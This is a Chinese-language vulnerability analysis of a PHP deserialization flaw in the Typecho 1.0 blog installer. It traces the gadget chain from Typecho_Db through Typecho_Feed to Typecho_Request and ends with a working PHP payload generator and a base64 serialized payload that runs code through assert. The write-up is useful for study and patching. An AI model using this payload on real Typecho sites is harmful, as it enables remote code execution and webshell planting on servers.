環境介紹:
typecho我下的是1.0版本的

下載地址:https://github.com/typecho/typecho/releases/tag/v1.0-14.10.10-release
1、顯示安裝界面,防止退出

這里存在三個退出條件
1)finish參數為空且目錄下存在config.inc.php文件且session變量數組中的typecho變量為空,這里我們只要隨便傳入一個finish值
2)如果http頭部中的referer為空
3)傳入referer的網站要和目前訪問的網站不是同一個域名
2、漏洞思路分析:

追蹤get方法:

可以看到這里對post或者cookie傳入的__typecho_config變量進行一個反序列化,並且不能為數組。

這里新建了一個Typecho_Db對象,將反序列化得到的變量數組中的adapter和prefix傳入,我們跟進Typecho__Db這個對象

這里將adapterName這個變量直接拼接在一串字符串后面,也就是將adapterNmae當作字符串拼接之后賦值給了adapterName,這個時候如果adapterName如果為一個對象的話,就會自動調用__toString魔術方法。

這里我們跟進Typecho_feed類的__toString魔術方法

因為這里的$item['author']訪問了screenName這個屬性,如果這個屬性是不可訪問的話,就會自動執行__get魔術方法
但是進入這里需要滿足條件
接着跟進Request.php的__get魔術方法:

再跟進get函數:

如果_params數組中存在索引值為$key的變量,那么就會將其賦值給$value,_httpParams也是一樣,如果都不存在就將賦值為$default。
如果$value為數組的話就賦值為$default,不是的話就為本身。
跟進_applyFilter函數

如果$value為數組就調用array_map函數,如果不是就調用call_user-func函數,重點來了,如果$filter和$value都可控的話就可以通過回調函數命令執行或者寫入木馬了
思路整理:
1、通過install.php中的反序列化將adapter和prefix變量傳入Typecho_Db實例化對象中
2、通過類Typecho_Db中的__construct魔術方法將adapter視作字符串拼接賦值,調用類Typecho_Feed中的__toString魔術方法
3、訪問了_items['author']中的screenName屬性,調用Typecho_Request類中的__get魔術方法並且傳入$key=screenName
4、定義$this->_params[$key],也就是$this->_params[‘screenName’]為我們想要執行的命令,即可賦值給$value
5、定義$this->_filter,構成回調函數,執行命令

這里會對反序列化的內容拋出異常

然后通過ob_end_clean()清除緩存,導致phpinfo()的內容顯示不出來,要通過前面的

將item中的category賦值為一個對象數組,提前報錯退出,就可以顯示之前的內容
payload:
<?php class Typecho_Request{ private $_params = array(); private $_filter = array(); public function __construct() { $this->_params['screenName'] = 'phpinfo()'; $this->_filter[0] = 'assert'; } } class Typecho_Feed{ const RSS2 = 'RSS 2.0'; private $_type; private $_items = array(); public function __construct() { $this->_type = self::RSS2; $this->_items[0] = array( 'author' => new Typecho_Request(), 'category' => array(new Typecho_Request()) ); } } $typecho = array( 'adapter' => new Typecho_Feed(), 'prefix' => 'typecho_' ); echo base64_encode((serialize($typecho))); ?>
YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YToyOntzOjY6ImF1dGhvciI7TzoxNToiVHlwZWNob19SZXF1ZXN0IjoyOntzOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9wYXJhbXMiO2E6MTp7czoxMDoic2NyZWVuTmFtZSI7czo5OiJwaHBpbmZvKCkiO31zOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9maWx0ZXIiO2E6MTp7aTowO3M6NjoiYXNzZXJ0Ijt9fXM6ODoiY2F0ZWdvcnkiO2E6MTp7aTowO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6OToicGhwaW5mbygpIjt9czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfZmlsdGVyIjthOjE6e2k6MDtzOjY6ImFzc2VydCI7fX19fX19czo2OiJwcmVmaXgiO3M6ODoidHlwZWNob18iO30=

